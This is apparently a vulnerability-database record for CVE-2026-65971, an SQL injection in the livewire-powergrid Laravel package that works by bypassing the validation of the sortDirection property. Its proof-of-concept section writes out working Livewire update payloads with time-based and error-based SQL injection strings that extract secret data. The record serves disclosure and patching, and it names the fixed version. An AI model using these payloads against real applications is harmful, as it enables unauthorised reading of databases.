{"id":"CVE-2026-65971","aliases":["GHSA-7fgc-3h6c-698r"],"url":"https://o3.security/vulnerability/CVE-2026-65971","summary":"Livewire PowerGrid: SQL Injection through the public `sortDirection` Livewire property in the `naturalSort` order-by path","details":"## [Description]\n\nThe public Livewire property `sortDirection` is interpolated **verbatim** into a\nraw SQL `ORDER BY` clause and is not restricted to `asc`/`desc`, allowing arbitrary\nSQL injection through `POST /livewire/update`.\n\n**Data flow**\n\n- **Source** — `src/Concerns/Sorting.php`: `public string $sortDirection;` is a\n  Livewire-bound property with no whitelist/validation (it is only assigned and\n  flipped by `reverseSort()`), so it is fully attacker-controlled via the standard\n  Livewire update endpoint.\n- **Taint** — `src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php`,\n  `resolvePlaceholders()`:\n  ```php\n  preg_replace_callback('/\\{(\\w+)\\}/', fn ($m) => data_get($this->component, $m[1], ''), $sql);\n  ```\n  substitutes `{sortDirection}` with the raw property value.\n- **Sink** — `src/DataSource/Support/Sql.php::getSortSqlByDriver()` builds the\n  `naturalSort` expression, e.g. `\"... {sortDirection}\"` / `\"CAST(...) {sortDirection}\"`,\n  which is passed to `orderByRaw()`. The tainted direction lands directly in the SQL\n  string.\n\n**Why the framework mitigation does not apply (the bypass)**\n\nNormally the `Sorting` pipeline calls `orderBy(resolveSortField($sortField), $sortDirection)`,\nand Laravel validates the direction (`Order direction must be \"asc\" or \"desc\".`).\nSetting **`sortField=\"\"`** makes the `Sorting` pipeline skip (`filled('')` is false),\nso the validating `orderBy` never runs — but the `ColumnRawQueries` pipeline still\napplies the `naturalSort` `orderByRaw` unconditionally with the attacker-controlled\n`{sortDirection}`. The result is arbitrary SQL in the `ORDER BY`, bypassing Laravel's\ndirection validation entirely.\n\n## [Proof of Concept]\n\nLab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10 + MariaDB, with a\nPowerGrid table whose `name` column uses `->naturalSort(true)`.\n\nRequest (standard Livewire update; CSRF token taken from the page as any Livewire call):\n```\nPOST /livewire/update\ncomponents[0].snapshot = <the PowerGrid component snapshot from the page>\ncomponents[0].updates  = {\"sortField\": \"\", \"sortDirection\": \"asc, (SELECT SLEEP(3))\"}\n```\n\nObserved results:\n\n- **Error-based** (HTTP 500, `SQLSTATE[HY000] 1105`) — the injected subquery reaches\n  the database verbatim:\n  ```\n  select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, ...) ...) asc,\n    (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1)))) limit 3 offset 0\n  ```\n- **Blind time-based** (arbitrary data extraction):\n  ```\n  asc                                 -> 0.02s   (baseline)\n  asc, (SELECT SLEEP(3))              -> 9.04s   (injection executes)\n  asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')  -> 9.03s  (TRUE — value leaks)\n  ... LIKE 'ZZZ%'                     -> 0.02s   (FALSE — boolean oracle)\n  ```\n\nA parameterised PoC script is available and can be attached privately on request.\n\n## [Impact]\n\nAny actor who can reach a PowerGrid table using `naturalSort` and control the\n`sortDirection` property can read arbitrary data from the database (other tables,\npassword hashes, tokens) via a blind boolean/time-based oracle. Stacked queries are\nblocked by the default PDO MySQL driver, so impact is read-oriented (confidentiality),\nbut complete for readable data. In multi-tenant/admin apps this enables full\ncross-tenant data exfiltration.","published":"2026-11-11T21:49:12.607Z","modified":"2026-11-19T05:00:10.169737616Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"},"epss":{"score":0.00347,"percentile":0.20733,"asOf":"2026-11-25"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"power-components/livewire-powergrid","fixedVersion":"6.10.4"}],"fix":{"url":"https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a","label":"Power-Components/livewire-powergrid@13d047b"},"references":[{"type":"WEB","url":"https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/65xxx/CVE-2026-65971.json"},{"type":"ADVISORY","url":"https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65971"},{"type":"FIX","url":"https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a"},{"type":"PACKAGE","url":"https://github.com/Power-Components/livewire-powergrid"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-19T05:00:10.169737616Z"}}